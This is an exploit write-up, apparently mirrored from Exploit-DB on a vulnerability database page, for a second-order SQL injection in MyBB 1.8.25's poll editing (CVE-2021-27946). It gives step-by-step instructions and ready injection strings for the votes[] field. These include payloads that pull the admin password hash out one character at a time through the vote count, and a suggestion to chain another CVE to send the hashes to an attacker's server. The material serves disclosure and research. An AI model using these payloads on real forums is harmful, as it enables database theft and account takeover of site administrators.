Lucene search
K

MyBB 1.8.25 - Poll Vote Count SQL Injection

🗓️ 23 Mar 2021 00:00:00Reported by SivertPLType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 425 Views

MyBB 1.8.25 - Poll Vote Count SQL Injection, Lack of sanitization in the "votes[]" parameter in "Edit Poll" causes a second-order semi-blind SQL Injection triggered when performing a "Move/Copy" operation on the thread

Related
Code
ReporterTitlePublishedViews
Family
0day.today
MyBB 1.8.25 - Poll Vote Count SQL Injection Vulnerability
23 Mar 202100:00
zdt
Circl
CVE-2021-27946
21 Sep 202106:42
circl
CNNVD
MyBB SQL注入漏洞
15 Mar 202100:00
cnnvd
CNVD
MyBB SQL Injection Vulnerability (CNVD-2021-25710)
16 Mar 202100:00
cnvd
CVE
CVE-2021-27946
15 Mar 202117:08
cve
Cvelist
CVE-2021-27946
15 Mar 202117:08
cvelist
EUVD
EUVD-2021-14664
7 Oct 202500:30
euvd
NVD
CVE-2021-27946
15 Mar 202118:15
nvd
OpenVAS
MyBB < 1.8.26 Multiple Vulnerabilities
16 Mar 202100:00
openvas
Packet Storm
MyBB 1.8.25 SQL Injection
23 Mar 202100:00
packetstorm
Rows per page
# Exploit Title: MyBB 1.8.25 - Poll Vote Count SQL Injection
# Exploit Author: SivertPL ([email protected])
# Date: 20.03.2021
# Description: Lack of sanitization in the "votes[]" parameter in "Edit Poll" causes a second-order semi-blind SQL Injection that is triggered when performing a "Move/Copy" operation on the thread.
# Sofware Link: https://resources.mybb.com/downloads/mybb_1825.zip
# CVE: CVE-2021-27946

References:

    1) https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums 
    2) https://vuldb.com/?id.171307
    3) https://github.com/mybb/mybb/commit/aa415f08bce01f95a8319b707bb18eb67833f4c1.patch 

In order to trigger the vulnerability, you must have permission to edit polls. 
Moderators and administrators can usually do it, but in some configurations regular users can do it as well.

In case you are a moderator, the vulnerability can be used as privilege escalation provided you crack the resulting salted hash.

Otherwise, you are free to use CVE-2021-27889 to impersonate the target moderator to trigger this SQL Injection from an external .js script which will perform the necessary
injections automatically, and send the resulting hashes to your server.

This is a pretty nasty vulnerability to exploit by hand (at least on regular, most common MySQL setup), but can be dangerous in the hands of 
a very determined attacker who combines it with CVE-2021-27889 and an automated Javascript-Based SQL Injector.

This vulnerability might however allow for devastating execution of stacked queries when databases such as PostgreSQL or MS-SQL are used.
In such cases, the entire system is compromised as a result (an attacker can UPDATE the admin password and replace it with his own hash).

Guide:

1) Make a thread with a public poll, with multiple choices.

2) Vote on at least one choice.

3) Go to the "Edit poll" section of the poll.

4) Place the following payload in the "vote count" input (any entry within the votes[] parameter in the resulting POST request).

    1','2',ascii((select version())),'0','0','1','1') -- -a

5) Save the poll.

6) Perform a "Move/Copy" operation on the thread, moving it to a different forum, or making a copy in the same forum.

This is where the SQL Injection is triggered, and you should see an SQL Error here if the payload is incorrect.

7) Go to the copied/moved version of the thread (you should be redirected there automatically).

8) Go to the "Show Results" section of the poll.

9) The total vote count under the poll is our 64 bit unsigned integer covert channel to retrieve information from the ascii select query. 

Since this vulnerability is semi-blind, you can only retrieve the output of the SELECT query as an unsigned integer (hence we use ASCII()).
Other parameters in the INSERT query that we are injecting into are either too small, or unfeasible. 
Unsigned integer provides enough space to extract required data when enough requests are made.

In this case, the number is the ASCII code of the first character of the result of the injected select version() query.
This way we can transfer the output through this covert channel, one character at a time.

In order to extract the admin hash, one has to either perform many requests (so it's best to automate it), or find a better way to convert a substring varchar to int.

1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 2, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 3, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 4, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 5, 1))),'0','0','1','1') -- -a

... etc.

This will send the ASCII codes of every char of the hashed password through the integer covert channel.


10) After sending enough requests, you should have the hashed admin password. Repeat the entire process to acquire the salt.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation